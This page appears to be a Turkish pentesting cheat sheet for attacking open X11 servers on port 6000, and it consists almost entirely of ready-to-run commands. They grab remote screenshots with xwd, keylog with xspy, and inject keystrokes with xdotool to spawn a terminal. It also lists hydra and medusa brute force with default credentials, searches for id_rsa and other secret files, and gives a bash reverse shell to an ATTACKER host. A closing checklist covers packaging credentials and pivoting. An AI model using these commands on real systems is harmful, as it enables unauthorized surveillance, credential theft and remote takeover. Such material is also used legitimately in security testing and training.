Skip to content

6000 - Pentesting X11

X11 rce

Açık X11 (ACCESS CONTROL disabled) ekran görüntüsü, tuş kaydı ve uzaktan pencere kontrolü verir. Hedef lab IP’si üzerinde komutları 6000 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 6000+n doğrula.

  2. xpyb/xdpyinfo unauth.

  3. Screenshot/keylog.

  4. xdotool ile komut.

Terminal window
nmap -Pn -sV -p6000-6010 TARGET
Terminal window
nmap -Pn -p6000-6010 --script x11-access TARGET
Terminal window
xdpyinfo -display TARGET:0
Terminal window
nmap -p6000 --script x11-access TARGET
Terminal window
xwd -root -display TARGET:0 > screen.xwd
Terminal window
convert screen.xwd screen.png
Terminal window
xspy TARGET:0
Terminal window
DISPLAY=TARGET:0 xdotool type 'xterm &'

X11 için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p6000,11 TARGET
Terminal window
nmap -Pn -p6000 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:6000' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',6000));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → X11
Terminal window
hydra -L users.txt -P rockyou.txt -s 6000 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 6000
Terminal window
nmap -p6000 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit X11
Terminal window
msfconsole -q -x 'search X11; exit'
Terminal window
nuclei -u https://TARGET:6000 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:6000 -tags tech -silent || true
Terminal window
nc -nv TARGET 6000
Terminal window
printf '
' | timeout 3 nc -nv TARGET 6000
Terminal window
curl -vk --http1.0 http://TARGET:6000/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
x11-access → screenshot/keylog → typed commands → shell